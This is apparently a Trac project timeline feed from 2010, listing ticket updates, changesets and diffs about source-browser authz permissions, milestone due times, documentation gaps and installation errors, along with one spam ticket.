</tbody><tbody class="unmod"> <tr> <th>204</th><th>207</th><td class="l">            def get_repository(self, reponame): </td> </tr><tr> <th>205</th><th>208</th><td class="l">                if reponame == 'scoped': </td> </tr><tr> <th>206</th><th>209</th><td class="l">                    def get_changeset(rev): </td> </tr> </tbody> <tbody class="skipped"> <tr> <th><a href="http://trac.edgewall.org/timeline?build=on&ticket=on&ticket_details=on&changeset=on&milestone=on&wiki=on&max=50&daysback=90&format=rss#L260">…</a></th> <th><a href="http://trac.edgewall.org/timeline?build=on&ticket=on&ticket_details=on&changeset=on&milestone=on&wiki=on&max=50&daysback=90&format=rss#L263">…</a></th> <td> </td> </tr> </tbody> <tbody class="unmod"> <tr> <th>260</th><th>263</th><td class="l">[/somepath] </td> </tr><tr> <th>261</th><th>264</th><td class="l">joe = r </td> </tr><tr> <th>262</th><th>265</th><td class="l">denied = </td> </tr> </tbody><tbody class="mod"> <tr class="first"> <th>263</th><th> </th><td class="l">[<del></del>/otherpath] </td> </tr> <tr class="last"> <th> </th><th>266</th><td class="r">[<ins>module:</ins>/otherpath] </td> </tr> </tbody><tbody class="unmod"> <tr> <th>264</th><th>267</th><td class="l">jane = r </td> </tr><tr> <th>265</th><th>268</th><td class="l">$anonymous = r </td> </tr> </tbody><tbody class="add"> <tr class="first"> <th> </th><th>269</th><td class="r"><ins>[inactive:/not-in-this-instance]</ins> </td> </tr><tr class="last"> <th> </th><th>270</th><td class="r"><ins>unknown = r</ins> </td> </tr> </tbody><tbody class="unmod"> <tr> <th>266</th><th>271</th><td class="l">""") </td> </tr><tr> <th>267</th><th>272</th><td class="l">        self.assertPathPerm(None, 'unknown') </td> </tr><tr> <th>268</th><th>273</th><td class="l">        self.assertRevPerm(None, 'unknown') </td> </tr> </tbody> </table> </li> </ul> </div>
21:13 InsideTrac: Trac - Ticket #9542 ("Browse Source" button is not shown for anonymous users when ...) updated by rblank: Ok, now the situation is clear. If an authz file is used across several Trac instances, the modules of other instances carry over for the coarse permission checks. The following patch should fix the issue (but the unit tests don't pass yet). <div class="diff"> <ul class="entries"> <li class="entry"> <h2> <a>trac/versioncontrol/svn_authz.py</a> </h2> <pre>diff --git a/trac/versioncontrol/svn_authz.py b/trac/versioncontrol/svn_authz.py</pre> <table class="trac-diff inline" summary="Differences" cellspacing="0"> <colgroup><col class="lineno" /><col class="lineno" /><col class="content" /></colgroup> <thead> <tr> <th title="File a/trac/versioncontrol/svn_authz.py"> a </th> <th title="File b/trac/versioncontrol/svn_authz.py"> b </th> <td> </td> </tr> </thead> <tbody class="unmod"> <tr> <th>216</th><th>216</th><td class="l">            self.log.info('Parsing authz file: %s' % self.authz_file) </td> </tr><tr> <th>217</th><th>217</th><td class="l">            try: </td> </tr><tr> <th>218</th><th>218</th><td class="l">                self._authz = parse(read_file(self.authz_file)) </td> </tr> </tbody><tbody class="add"> <tr class="first"> <th> </th><th>219</th><td class="r"><ins>                rm = RepositoryManager(self.env)</ins> </td> </tr><tr> <th> </th><th>220</th><td class="r"><ins>                modules = set(repos.reponame</ins> </td> </tr><tr> <th> </th><th>221</th><td class="r"><ins>                              for repos in rm.get_real_repositories())</ins> </td> </tr><tr class="last"> <th> </th><th>222</th><td class="r"><ins>                modules.add('')</ins> </td> </tr> </tbody><tbody class="unmod"> <tr> <th>219</th><th>223</th><td class="l">                self._users = set(user for module in self._authz.itervalues() </td> </tr> </tbody><tbody class="add"> <tr class="last first"> <th> </th><th>224</th><td class="r"><ins>                                  if module in modules</ins> </td> </tr> </tbody><tbody class="unmod"> <tr> <th>220</th><th>225</th><td class="l">                                  for path in module.itervalues() </td> </tr><tr> <th>221</th><th>226</th><td class="l">                                  for user, result in path.iteritems() </td> </tr><tr> <th>222</th><th>227</th><td class="l">                                  if result) </td> </tr> </tbody> </table> </li> </ul> </div>
20:13 InsideTrac: Trac - Ticket #9542 ("Browse Source" button is not shown for anonymous users when ...) updated by rblank: With <a class="changeset" href="http://trac.edgewall.org/changeset/10036" title="0.12.1dev: Always check for a coarse `BROWSER_VIEW` permission in the ...">[10036]</a>, a user who hasn't <tt>BROWSER_VIEW</tt> permission gets a permission error in the source browser. Also, a <tt>ResourceNotFound</tt> error is displayed for any path that is not in one of the defined repositories, or for the repository index if no repositories are defined. I couldn't reproduce the issue with the error pages: if I don't have <tt>BROWSER_VIEW</tt> permission, the "Browse Source" tab is always hidden, even on error pages.
20:09 InsideTrac: Trac - Changeset [10036]: 0.12.1dev: Always check for a coarse `BROWSER_VIEW` permission in the ... by rblank: 0.12.1dev: Always check for a coarse <tt>BROWSER_VIEW</tt> permission in the source browser, and make sure to show a <tt>ResourceNotFound</tt> when a path is in none of the repositories, or if no repositories are defined at all. Part of <a class="closed ticket" href="http://trac.edgewall.org/ticket/9542" title="defect: ">#9542</a>.
20:09 InsideTrac: Trac - Changeset [10036]: 0.12.1dev: Always check for a coarse `BROWSER_VIEW` permission in the ... by rblank: 0.12.1dev: Always check for a coarse <tt>BROWSER_VIEW</tt> permission in the source browser, and make sure to show a <tt>ResourceNotFound</tt> when a path is in none of the repositories, or if no repositories are defined at all. Part of <a class="reopened ticket" href="http://trac.edgewall.org/ticket/9542" title="defect: ">#9542</a>.
18:36 InsideTrac: Trac - Ticket #6369 (Allow milestones to be set to a specific time) updated by Ryan Ollos <ryano@…>: Replying to <a href="http://trac.edgewall.org/ticket/6369#comment:22" title="Comment 22 for Ticket #6369">rblank</a>: <blockquote class="citation"> So the only remaining question is, should we add the following to set the time to 18:00 on submit if only a date is given? </blockquote> My vote would probably be to set the time to 00:00 if only a date is given for the following reasons (much of my opinions being based on comments earlier in this thread); <ul><li>It preserves existing behavior for setting the milestone due date that Trac users are accustomed to. </li><li>The behavior of over-writing 00:00 with 18:00 could be confusing even if documented, and is bound to be reported as a defect by some users. I also wonder if pushing a change in behavior such as this might be more appropriate for a major version release. </li><li>00:00 is a more intuitive default, particularly for programmers who would expect that when creating a datetime object with a date only. </li></ul>
18:19 InsideTrac: Trac - Ticket #6369 (Allow milestones to be set to a specific time) updated by rblank: Slightly corrected patch applied in <a class="changeset" href="http://trac.edgewall.org/changeset/10034" title="0.12.1dev: Suggest a default time of 18:00 for milestone due dates. Patch ...">[10034]</a>: <ul><li>Simplified the <tt>default_due</tt> calculation, and suggest tomorrow at 18:00 if the current time is already past 18:00. </li><li>Actually use the checkbox to decide whether to use the due date field or not. The patch worked when JavaScript was enabled, as un-checking the checkbox would disable the due date field and hence its content wouldn't be sent on submit, but would break with JavaScript disabled. </li></ul> So the only remaining question is, should we add the following to set the time to 18:00 on submit if only a date is given? <div class="diff"> <ul class="entries"> <li class="entry"> <h2> <a>trac/ticket/roadmap.py</a> </h2> <pre>diff --git a/trac/ticket/roadmap.py b/trac/ticket/roadmap.py</pre> <table class="trac-diff inline" summary="Differences" cellspacing="0"> <colgroup><col class="lineno" /><col class="lineno" /><col class="content" /></colgroup> <thead> <tr> <th title="File a/trac/ticket/roadmap.py"> a </th> <th title="File b/trac/ticket/roadmap.py"> b </th> <td> </td> </tr> </thead> <tbody class="unmod"> <tr> <th>16</th><th>16</th><td class="l"># Author: Christopher Lenz <cmlenz@gmx.de> </td> </tr><tr> <th>17</th><th>17</th><td class="l"> </td> </tr><tr> <th>18</th><th>18</th><td class="l">from StringIO import StringIO </td> </tr> </tbody><tbody class="mod"> <tr class="first"> <th>19</th><th> </th><td class="l">from datetime import datetime, time<del></del>delta </td> </tr> <tr class="last"> <th> </th><th>19</th><td class="r">from datetime import datetime, time<ins>, time</ins>delta </td> </tr> </tbody><tbody class="unmod"> <tr> <th>20</th><th>20</th><td class="l">import re </td> </tr><tr> <th>21</th><th>21</th><td class="l"> </td> </tr><tr> <th>22</th><th>22</th><td class="l">from genshi.builder import tag </td> </tr> </tbody> <tbody class="skipped"> <tr> <th><a href="http://trac.edgewall.org/timeline?build=on&ticket=on&ticket_details=on&changeset=on&milestone=on&wiki=on&max=50&daysback=90&format=rss#L627">…</a></th> <th><a href="http://trac.edgewall.org/timeline?build=on&ticket=on&ticket_details=on&changeset=on&milestone=on&wiki=on&max=50&daysback=90&format=rss#L627">…</a></th> <td> </td> </tr> </tbody> <tbody class="unmod"> <tr> <th>627</th><th>627</th><td class="l"> </td> </tr><tr> <th>628</th><th>628</th><td class="l">        if 'due' in req.args: </td> </tr><tr> <th>629</th><th>629</th><td class="l">            due = req.args.get('duedate', '') </td> </tr> </tbody><tbody class="mod"> <tr class="first"> <th>630</th><th> </th><td class="l">            milestone.due = due and parse_date(due, req.tz, 'datetime') or None </td> </tr> <tr> <th> </th><th>630</th><td class="r">            due = due and parse_date(due, req.tz, 'datetime') or None </td> </tr><tr> <th> </th><th>631</th><td class="r">            if due and due.time() == time(): </td> </tr><tr> <th> </th><th>632</th><td class="r">                due = due.replace(hour=18, minute=0, second=0, microsecond=0) </td> </tr><tr class="last"> <th> </th><th>633</th><td class="r">            milestone.due = due </td> </tr> </tbody><tbody class="unmod"> <tr> <th>631</th><th>634</th><td class="l">        else: </td> </tr><tr> <th>632</th><th>635</th><td class="l">            milestone.due = None </td> </tr><tr> <th>633</th><th>636</th><td class="l"> </td> </tr> </tbody> </table> </li> </ul> </div> The minor drawback is that a time of 00:00 would also be replaced by 18:00. Fixing this would be quite tricky.
17:50 InsideTrac: Trac - Changeset [10035]: 0.13dev: Merged [10033] from 0.12-stable. by osimons: 0.13dev: Merged <a class="changeset" href="http://trac.edgewall.org/changeset/10033" title="0.12.1dev: Merged [10032] from 0.11-stable.">[10033]</a> from 0.12-stable.
17:44 InsideTrac: Trac - Changeset [10034]: 0.12.1dev: Suggest a default time of 18:00 for milestone due dates. Patch ... by rblank: 0.12.1dev: Suggest a default time of 18:00 for milestone due dates. Patch by Ryan J Ollos. Part of <a class="closed ticket" href="http://trac.edgewall.org/ticket/6369" title="enhancement: Allow milestones to be set to a specific time (closed: fixed)">#6369</a>.
17:44 InsideTrac: Trac - Changeset [10034]: 0.12.1dev: Suggest a default time of 18:00 for milestone due dates. Patch ... by rblank: 0.12.1dev: Suggest a default time of 18:00 for milestone due dates. Patch by Ryan J Ollos. Part of <a class="new ticket" href="http://trac.edgewall.org/ticket/6369" title="enhancement: Allow milestones to be set to a specific time (new)">#6369</a>.
17:42 InsideTrac: Trac - Changeset [10033]: 0.12.1dev: Merged [10032] from 0.11-stable. by osimons: 0.12.1dev: Merged <a class="changeset" href="http://trac.edgewall.org/changeset/10032" title="0.11-stable: Be more specific when selecting ticket attachments to include ...">[10032]</a> from 0.11-stable.
17:31 InsideTrac: Trac - Changeset [10032]: 0.11-stable: Be more specific when selecting ticket attachments to include ... by osimons: 0.11-stable: Be more specific when selecting ticket attachments to include in changelog.
17:27 InsideTrac: Trac - Ticket #9596 (document commit_ticket_update_* properties in the TracIni wiki page) updated by rblank: Close: <a class="wiki" href="http://trac.edgewall.org/wiki/TracInstall#AutomaticreferencetotheSVNchangesetsinTractickets">TracInstall</a>. Feel free to add a section about it in <a class="wiki" href="http://trac.edgewall.org/wiki/TracUpgrade">TracUpgrade</a> as well, if you feel it would help.
17:03 InsideTrac: Trac - Ticket #9596 (document commit_ticket_update_* properties in the TracIni wiki page) updated by john@…: it is still unclear that I have to enable the component in order to get a feature working that was enabled as long as I had the trac-svn-post-commit hook enabled previously. Either way you look at it something is missing in the way of documentation. There is nothing in <a class="wiki" href="http://trac.edgewall.org/wiki/TracUpgrade">TracUpgrade</a> and nothing in <a class="wiki" href="http://trac.edgewall.org/wiki/TracIni#components-section">TracIni#components-section</a> . I can understand defaulting the feature to off since not everyone would have the hook installed, but there is no mention of it in the logical places to look.
16:52 InsideTrac: Trac - Ticket #9594 ([Patch] Timeline filter should read "Tickets opened and closed") updated by rblank: Owner changed
16:51 InsideTrac: Trac - Ticket #9594 ([Patch] Timeline filter should read "Tickets opened and closed") closed by rblank: fixed: Applied in <a class="changeset" href="http://trac.edgewall.org/changeset/10031" title="0.12.1dev: More consistent label for the ">[10031]</a>.
16:51 InsideTrac: Trac - Changeset [10031]: 0.12.1dev: More consistent label for the "Opened and closed tickets" ... by rblank: 0.12.1dev: More consistent label for the "Opened and closed tickets" checkbox. Patch by Ryan J Ollos. Closes <a class="closed ticket" href="http://trac.edgewall.org/ticket/9594" title="enhancement: [Patch] Timeline filter should read ">#9594</a>.
16:45 InsideTrac: Trac - Ticket #7851 (BOM appears in source code listings when using Pygments 1.0) closed by rblank: worksforme: Thanks for testing. So this may have been fixed in pygments directly.
16:36 InsideTrac: Trac - Ticket #9596 (document commit_ticket_update_* properties in the TracIni wiki page) closed by rblank: worksforme: Your local <a class="wiki" href="http://trac.edgewall.org/wiki/TracIni">TracIni</a> shows the documentation in the <tt>[ticket]</tt> section, provided the component is enabled (it isn't on this site). This is due to <a class="wiki" href="http://trac.edgewall.org/wiki/TracIni">TracIni</a> being generated automatically from the source code.
16:36 InsideTrac: Trac - 0.13 created by cboos: overview page for the 0.13 <a class="wiki" href="http://trac.edgewall.org/wiki/TracGuide">TracGuide</a>
16:33 InsideTrac: Trac - TracInstall edited by cboos: link to install notes for next version (<a href="http://trac.edgewall.org/wiki/TracInstall?action=diff&version=315">diff</a>)
16:32 InsideTrac: Trac - 0.13/TracInstall edited by cboos: fix reference to toplevel <a class="wiki" href="http://trac.edgewall.org/wiki/TracInstall">/TracInstall</a> (<a href="http://trac.edgewall.org/wiki/0.13/TracInstall?action=diff&version=3">diff</a>)
16:31 InsideTrac: Trac - 0.13/TracInstall edited by cboos: updated to Trac 0.13dev: drop compatibility with Python 2.4 (<a href="http://trac.edgewall.org/wiki/0.13/TracInstall?action=diff&version=2">diff</a>)
16:24 InsideTrac: Trac - 0.13/TracInstall created by cboos: copied from <a class="wiki" href="http://trac.edgewall.org/wiki/0.13/TracInstall?version=314">TracInstall@314</a>
16:22 InsideTrac: Trac - Ticket #9595 (SyntaxError: invalid syntax) closed by cboos: invalid: You're using Python 2.3, which is not supported anymore starting with Trac 0.12. And with Trac 0.13dev, you'll even need Python 2.5. See <a class="wiki" href="http://trac.edgewall.org/wiki/TracInstall">TracInstall</a> and <a class="wiki" href="http://trac.edgewall.org/wiki/0.13/TracInstall">0.13/TracInstall</a>.
15:29 InsideTrac: Trac - Ticket #9542 ("Browse Source" button is not shown for anonymous users when ...) updated by rblank: I'm not sure I understand what you suggest. Is it correct that you would like to have the following: <ul><li>When the "Browse Source" button is hidden, the repository index page should generate a 404. </li><li>The "Browse Source" is currently shown on error pages (I hadn't noticed that), and you would like it to disappear there, too. </li></ul> The first item shouldn't be difficult, as we can use the same condition as for the navitem to generate a <tt>PermissionError</tt> for the repository index. I'm not sure what causes the second issue, and I'll have a look.
13:53 InsideTrac: Trac - Ticket #9597 (asdasdasdsadd kjsjdksjdkj iojioj iojai jidjsaidasbdh bhdbadsasd asdas) created by anonymous: <ul><li><a class="ext-link" href="http://www.pharmacieenfrance.fr"> Achat Medicaments</a> </li></ul> For us to be able to help you and resolve your issue as fast as possible, please check the new ticket guidelines to make sure you're not leaving out some vital information.
13:47 InsideTrac: Trac - TracPlugins edited by Ryan J Ollos <ryano@…>: Grammar touchup. (<a href="http://trac.edgewall.org/wiki/TracPlugins?action=diff&version=66">diff</a>)
13:40 InsideTrac: Trac - Ticket #9596 (document commit_ticket_update_* properties in the TracIni wiki page) created by john@…: <a class="wiki" href="http://trac.edgewall.org/wiki/TracIni">TracIni</a> has no documentation on the new properties. I was unable to find them until I search for bugs on why the new trac-svn-hook wasn't closing my tickets. I still have no idea what the commit_ticket_update_envelope property is for that is listed in the sample file.
13:36 InsideTrac: Trac - Ticket #9595 (SyntaxError: invalid syntax) created by hm2k: <pre class="wiki">[root@vps112 ~]# trac-admin Traceback (most recent call last): File "/usr/bin/trac-admin", line 7, in ? sys.exit( File "/usr/lib/python2.3/site-packages/setuptools-0.6c11-py2.3.egg/pkg_resources.py", line 318, in load_entry_point return get_distribution(dist).load_entry_point(group, name) File "/usr/lib/python2.3/site-packages/setuptools-0.6c11-py2.3.egg/pkg_resources.py", line 2221, in load_entry_point return ep.load() File "/usr/lib/python2.3/site-packages/setuptools-0.6c11-py2.3.egg/pkg_resources.py", line 1954, in load entry = __import__(self.module_name, globals(),globals(), ['__name__']) File "build/bdist.linux-i686/egg/trac/admin/__init__.py", line 14, in ? File "/usr/lib/python2.3/site-packages/Trac-0.13dev_r10030-py2.3.egg/trac/admin/api.py", line 140 return list(set(a for a in self if a.startswith(text))) ^ SyntaxError: invalid syntax </pre>
13:12 InsideTrac: Trac - TracReports edited by anonymous: (<a href="http://trac.edgewall.org/wiki/TracReports?action=diff&version=48">diff</a>)
13:11 InsideTrac: Trac - TracReports edited by anonymous: (<a href="http://trac.edgewall.org/wiki/TracReports?action=diff&version=47">diff</a>)
11:57 InsideTrac: Trac - Ticket #9542 ("Browse Source" button is not shown for anonymous users when ...) updated by osimons: Cc changed
11:38 InsideTrac: Trac - Ticket #9542 ("Browse Source" button is not shown for anonymous users when ...) reopened by osimons: No, this is not quite correct. I find that the navitem is nicely hidden when I'm browsing other modules, but if I (as someone without any permissions to source) then make a request to <tt>/browser</tt> the request is handled without error and 'Browse Source' appears in the menu again for this request. A nice page without other content than 'View Changes...' button and Help text+link. The debug log says <tt>No policy allowed simon performing BROWSER_VIEW on <Resource u'repository, source:/'></tt> so in that case the request handler really should raise a <tt>PermissionError</tt> and present an regular error page. Just raising an error does not seems to make it all right though, as the source navigation item also displays when rendering Trac Error pages... Like when I make a request to a non-existing handler (404).
11:15 InsideTrac: Trac - TracPlugins edited by anatoly techtonik <techtonik@…>: user-centric plugin definition and discovery description (<a href="http://trac.edgewall.org/wiki/TracPlugins?action=diff&version=65">diff</a>)
11:01 InsideTrac: Trac - CommercialServices edited by llaehn@…: (<a href="http://trac.edgewall.org/wiki/CommercialServices?action=diff&version=91">diff</a>)
10:58 InsideTrac: Trac - CommercialServices edited by llaehn@…: (<a href="http://trac.edgewall.org/wiki/CommercialServices?action=diff&version=90">diff</a>)
07:08 InsideTrac: Trac - Ticket #8969 (IntegrityError: columns cookie, ipnr, name are not unique) updated by AlexK|Ventuz: We also had problems with hex_entropy generating the same cookies again and again, resulting in people being logged in as other users. But in our case the thing had a more indeterministic manner. Running the test from "sistemas" worked alright and the problem sometimes occurred multiple times a day and then not for a week. What caused the problem in my case was that a plug-in (to be more specific the <a class="missing wiki" href="http://trac.edgewall.org/wiki/RevTree" rel="nofollow">RevTree?</a>-plugin, I've added a ticket for that bug) had a line "seed(0)" in it when rendering its SVG output. So when someone accessed that functionality, the seed was reset and of course the same sequence of cookies was created as after the last time someone used that <a class="missing wiki" href="http://trac.edgewall.org/wiki/RevTree" rel="nofollow">RevTree?</a>. Took about 3 weeks to track this down, so I thought I add a comment in case someone has a similar problem. Same as other commentators I added some logging to the TRAC source code that put the result of hex_entropy into the log file. Once it was verified the RNG was the problem and the test script above could not reproduce the problem, I started looking through the TRAC and python source code without finding anything. It was just by chance that I searched the source code directory of all installed plugins for use of the words "random" and "seed"...
03:19 InsideTrac: Trac - Ticket #9594 ([Patch] Timeline filter should read "Tickets opened and closed") updated by rblank: Owner, Priority, Milestone changed
03:18 InsideTrac: Trac - Ticket #1329 (Ticket Search should (optionally) search only non-closed tickets) updated by rblank: Owner, Milestone changed I intended to implement the "throw tickets from a search result list into a ticket query" functionality in <a class="closed ticket" href="http://trac.edgewall.org/ticket/3375" title="enhancement: add contains text option to ticket query, or query restriction possibility ... (closed: duplicate)">#3375</a>, which is actually a duplicate of this ticket. So I'd rather not add a "temporary" solution at this point.
03:17 InsideTrac: Trac - Ticket #3375 (add contains text option to ticket query, or query restriction possibility ...) closed by rblank: duplicate: This is actually a duplicate of <a class="new ticket" href="http://trac.edgewall.org/ticket/1329" title="enhancement: Ticket Search should (optionally) search only non-closed tickets (new)">#1329</a>.
02:46 InsideTrac: Trac - Ticket #1329 (Ticket Search should (optionally) search only non-closed tickets) updated by Ryan J Ollos <ryano@…>: Not sure if there is any potential overlap, but <a class="new ticket" href="http://trac.edgewall.org/ticket/9098" title="enhancement: Provide separate Tickets opened, Tickets closed checkboxes on timeline (new)">#9098</a> is a feature request for individual Tickets open and closed filters on the timeline.
02:45 InsideTrac: Trac - Ticket #9594 ([Patch] Timeline filter should read "Tickets opened and closed") updated by Ryan J Ollos <ryano@…>: Ahhh ... the ticket where I noted this was <a class="new ticket" href="http://trac.edgewall.org/ticket/9098" title="enhancement: Provide separate Tickets opened, Tickets closed checkboxes on timeline (new)">#9098</a>.
01:56 InsideTrac: Trac - t9594-r10023.patch attached to Ticket #9594 by Ryan J Ollos <ryano@…>: Patch to change label.
01:51 InsideTrac: Trac - Ticket #9594 ([Patch] Timeline filter should read "Tickets opened and closed") created by Ryan J Ollos <ryano@…>: For consistency with the other labels in the Timeline Filter, it seems like we should make the following label change: Opened and closed tickets => Tickets opened and closed. I feel like I may have brought this up previously, but couldn't find the ticket, so perhaps I just thought it and didn't ticket it ;) <a class="new ticket" href="http://trac.edgewall.org/ticket/1329" title="enhancement: Ticket Search should (optionally) search only non-closed tickets (new)">#1329</a> reminded me of this again.
01:47 InsideTrac: Trac - Ticket #1329 (Ticket Search should (optionally) search only non-closed tickets) updated by Ryan J Ollos <ryano@…>: Cc changed
01:46 InsideTrac: Trac - Ticket #1329 (Ticket Search should (optionally) search only non-closed tickets) updated by Ryan J Ollos <ryano@…>: I have exactly the same issue as the reporter of this ticket, which is what led me here. It seems like it would be worthwhile to implement open and closed checkboxes in the interm, even if its not the best long term solution. This seems like a reasonable sized ticket that I'd be willing to tackle, though the fact that its been open so long makes me wonder if it is more challenging than I anticipate.
01:37 InsideTrac: Trac - Ticket #7851 (BOM appears in source code listings when using Pygments 1.0) updated by Mark Mc Mahon <mark.mcmahon@…>: I can't actually reproduce this. I added some files to a test repo (one each with UTF-8, UTF-16, UTF-16BE) when I view these in the browser - I don't see any BOM characters in the syntax highlighted file. <pre class="wiki">Trac 0.13dev-r10019 Docutils 0.7 Genshi 0.7dev-r1134 Pygments 1.3.1 </pre> I tried different mime-type settings for the files in SVN (application/octet-stream, text/plain and empty) and still no difference.
01:35 InsideTrac: Trac - Ticket #6369 (Allow milestones to be set to a specific time) updated by Ryan J Ollos <ryano@…>: This will be obvious to the devs, but to document the behavior for others in this ticket who may not want to dig into the code, the patch provides the following behavior: <ul><li>If you don't select the due checkbox, you'll get a duedate of None (just as you would previously by not entering anything in the due field). </li><li>If you only enter a date, you get a duetime of 00:00 on that date (just as you would previously if you only entered a date). </li><li>If you select the due checkbox, and don't change the default date and time, it will be 18:00 on the current date. Note: it might make more sense to set the due datetime to the next day at 18:00 in the case that 18:00 on the current day in is in the past (I'll refer to rblank for a decision on this). </li><li>If you select the due checkbox, you are also free to enter any datetime in the format MM/DD/YYYY HH:MM PM, which is consistent with other datetime entry fields (e.g. Version). </li></ul>
01:33 InsideTrac: Trac - Ticket #9593 (Missing protocol and FQDN in notification E-mail) closed by rblank: worksforme: You should set the <tt>[trac] base_url</tt> option.
01:24 InsideTrac: Trac - Changeset [10030]: Merged [10029] from 0.12-stable. by osimons: Merged <a class="changeset" href="http://trac.edgewall.org/changeset/10029" title="0.12.1dev: Include all content from templates through layout and theme. ...">[10029]</a> from 0.12-stable.
01:19 InsideTrac: Trac - Ticket #6369 (Allow milestones to be set to a specific time) updated by Ryan J Ollos <ryano@…>: Here is my first cut at a patch. I set the default duetime to 18:00, but that is easy to change. After your <a href="http://trac.edgewall.org/ticket/6369#comment:18" title="Comment 18 for Ticket #6369">comment:18</a>, I started thinking that this would be a more common choice, and should be the default, but as comments in this ticket show, its probably one of those things that could be debated for all time.
01:19 InsideTrac: Trac - Ticket #9461 (layout.html omits text and comment nodes from templates' <header> tag) closed by osimons: fixed: Committed in <a class="changeset" href="http://trac.edgewall.org/changeset/10029" title="0.12.1dev: Include all content from templates through layout and theme. ...">[10029]</a> to 0.12-stable.
01:17 InsideTrac: Trac - t6369-r10023.patch attached to Ticket #6369 by Ryan J Ollos <ryano@…>: Patch that adds checkbox for Due field and default due datetime of today at 18:00
01:16 InsideTrac: Trac - Changeset [10029]: 0.12.1dev: Include all content from templates through layout and theme. ... by osimons: 0.12.1dev: Include all content from templates through layout and theme. Fixes <a class="closed ticket" href="http://trac.edgewall.org/ticket/9461" title="defect: layout.html omits text and comment nodes from templates' <header> tag (closed: fixed)"> tag (closed: fixed)">#9461</a>.
01:16 InsideTrac: Trac - Changeset [10029]: 0.12.1dev: Include all content from templates through layout and theme. ... by osimons: 0.12.1dev: Include all content from templates through layout and theme. Fixes <a class="new ticket" href="http://trac.edgewall.org/ticket/9461" title="defect: layout.html omits text and comment nodes from templates' <header> tag (new)"> tag (new)">#9461</a>.

08/31/10:

21:21 InsideTrac: Trac - Ticket #9567 (Trac License ¶) closed by anonymous: fixed
18:26 InsideTrac: Trac - Ticket #9593 (Missing protocol and FQDN in notification E-mail) created by opi_at_-tv@…: If a ticket is closed automatically e.g. using the phrase this closes... or this refs... then the E-mail send for this event contain not the full URL. It contain only the local part. e.g. Ticket URL: </ticket/190#<a href="http://trac.edgewall.org/ticket/9593#comment:9" title="Comment 9 for Ticket #9593">comment:9</a>> the protocol and FQDN should be included to be a URL.
16:34 InsideTrac: Trac - Ticket #9591 (OperationalError: no such table: revision) updated by DimeDroll <dimdroll@…>: ok, i see. thank you. i will look for help in IRC and Mailing lists.
14:40 InsideTrac: Trac - Ticket #9591 (OperationalError: no such table: revision) closed by rblank: cantfix: As mentioned in <a href="http://trac.edgewall.org/ticket/9591#comment:5" title="Comment 5 for Ticket #9591">comment:5</a>, this is an <a class="wiki" href="http://trac.edgewall.org/wiki/InstallationIssue">InstallationIssue</a>, not a bug in Trac. More precisely, it's an installation issue with the Python bindings for Subversion. We can't fix that for you, hence closing as "cantfix".
13:42 InsideTrac: Trac - Ticket #9591 (ImportError: libsvn_ra_neon-1.so.0: undefined symbol) reopened by DimeDroll <dimdroll@…>
13:42 InsideTrac: Trac - Ticket #9591 (OperationalError: no such table: revision) reopened by DimeDroll <dimdroll@…>
13:39 InsideTrac: Trac - Ticket #9592 (TypePad Support) created by mario.fetka@…: Could the support for <a class="missing wiki" href="http://trac.edgewall.org/wiki/TypePad" rel="nofollow">TypePad?</a> as be added (one or the other | both at the same time) from the <a class="missing wiki" href="http://trac.edgewall.org/wiki/TypePad" rel="nofollow">TypePad?</a> support devel site Adding <a class="missing wiki" href="http://trac.edgewall.org/wiki/TypePad" rel="nofollow">TypePad?</a> <a class="missing wiki" href="http://trac.edgewall.org/wiki/AntiSpam" rel="nofollow">AntiSpam?</a> support is easy: Change the API endpoint for your code from rest.akismet.com to api.antispam.typepad.com. Tell your users to get a free <a class="missing wiki" href="http://trac.edgewall.org/wiki/TypePad" rel="nofollow">TypePad?</a> <a class="missing wiki" href="http://trac.edgewall.org/wiki/AntiSpam" rel="nofollow">AntiSpam?</a> API key to replace their Akismet API key. There is no step three.
13:18 InsideTrac: Trac - Ticket #9591 (ImportError: libsvn_ra_neon-1.so.0: undefined symbol) updated by DimeDroll <dimdroll@…>: thank you, i`m appreciate your involving into this. maybe this will be helpful for you, my team mate had mostly the same problem few years ago, here is the mailing list about it: <a class="ext-link" href="http://svn.haxx.se/users/archive-2008-04/0870.shtml"> http://svn.haxx.se/users/archive-2008-04/0870.shtml</a> so i suggested that this problem maybe still not resolved? anyway, i will try to ask for the assistant in <a class="wiki" href="http://trac.edgewall.org/wiki/MailingList">MailingList</a> and <a class="wiki" href="http://trac.edgewall.org/wiki/IrcChannel">IrcChannel</a>.
13:18 InsideTrac: Trac - Ticket #9591 (OperationalError: no such table: revision) updated by DimeDroll <dimdroll@…>: thank you, i`m appreciate your involving into this. maybe this will be helpful for you, my team mate had mostly the same problem few years ago, here is the mailing list about it: <a class="ext-link" href="http://svn.haxx.se/users/archive-2008-04/0870.shtml"> http://svn.haxx.se/users/archive-2008-04/0870.shtml</a> so i suggested that this problem maybe still not resolved? anyway, i will try to ask for the assistant in <a class="wiki" href="http://trac.edgewall.org/wiki/MailingList">MailingList</a> and <a class="wiki" href="http://trac.edgewall.org/wiki/IrcChannel">IrcChannel</a>.
13:09 InsideTrac: Trac - Ticket #9591 (ImportError: libsvn_ra_neon-1.so.0: undefined symbol) closed by rblank: cantfix: Replying to <a href="http://trac.edgewall.org/ticket/9591#comment:3" title="Comment 3 for Ticket #9591">DimeDroll <dimdroll@…></a>: <blockquote class="citation"> one only notice, there is no column repos in both tables. </blockquote> The <tt>repos</tt> column should be added by the upgrade procedure. <blockquote class="citation"> but, also this lead me to new problem: </blockquote> This is most probably an issue with the Python bindings for Subversion. Please take this to the <a class="wiki" href="http://trac.edgewall.org/wiki/MailingList">MailingList</a> or <a class="wiki" href="http://trac.edgewall.org/wiki/IrcChannel">IrcChannel</a>, where you should get more help for this <a class="wiki" href="http://trac.edgewall.org/wiki/InstallationIssue">InstallationIssue</a>.
13:09 InsideTrac: Trac - Ticket #9591 (OperationalError: no such table: revision) closed by rblank: cantfix: Replying to <a href="http://trac.edgewall.org/ticket/9591#comment:3" title="Comment 3 for Ticket #9591">DimeDroll <dimdroll@…></a>: <blockquote class="citation"> one only notice, there is no column repos in both tables. </blockquote> The <tt>repos</tt> column should be added by the upgrade procedure. <blockquote class="citation"> but, also this lead me to new problem: </blockquote> This is most probably an issue with the Python bindings for Subversion. Please take this to the <a class="wiki" href="http://trac.edgewall.org/wiki/MailingList">MailingList</a> or <a class="wiki" href="http://trac.edgewall.org/wiki/IrcChannel">IrcChannel</a>, where you should get more help for this <a class="wiki" href="http://trac.edgewall.org/wiki/InstallationIssue">InstallationIssue</a>.
